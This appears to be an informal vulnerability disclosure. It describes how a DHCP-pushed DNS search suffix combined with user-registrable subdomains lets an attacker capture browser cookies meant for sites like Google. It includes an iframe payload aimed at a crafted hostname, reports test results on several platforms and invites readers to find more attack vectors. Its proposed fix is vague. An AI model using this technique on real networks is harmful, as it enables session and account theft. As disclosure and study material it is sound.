Brief description: This design will cause certain security problems. Both xp and linux have been tested successfully.
We all know that dhcpd can set the dns suffix for its clients. for example, If we set the dns suffix as "test.com ". while doing the domain name resolution such as www.xxx.com, all the client using this dhcp server will try the following order.
1. System tries to look up www.xxx.com if the dns find a IP addr, the client will go on use this ip.
2. otherwise, the system will automatically add the dns suffix to have another try (This is partly true cos win7 only add dns suffix to the dns name doesnt contain .). this time will be www.xxx.com.test.com. if the dns return the found addr, program will happily use this result as its right answer. this did bring some convenient, but may lead to some problem, for example cross-domain.
Proof of vulnerability: Scenario:
1. company. COM provide secondary domain registation for their MERs (eg. free blog system ). people can register any username they want, from example test. then his space will be test.A.com. this works fine.
2. Companys internal network using a dhcp server which automatically adds an. COM dns suffix to their client.
An attack wanna gather some employees gmail account. He then can easily register a username like hack.www.google.com then the full domain name will be hack.www.google.com.A.com
When A.com s employees browser the web site contains a iframe such
<Iframe src = "https://hack.www.google.com/accounts"> fuck it up </iframe>
Employeess system will
1. try to resolve hack.www.google.com then get a false answer (NX Domain ).
2. then try hack.www.google.com.A.com will get attackers host IP addr .!!!
But the browser doesnt know this & will happily send googles cookies to the attackers web server.
Success on windows XP/Linux Ubuntu 11.04 ie ff Chrome ~ :) Failed on win7 cos its only add dns suffix to the dnsname doesnt contain.
Game over !!!
Use your brains and think more potential attack vectors !!
Solution: fix lib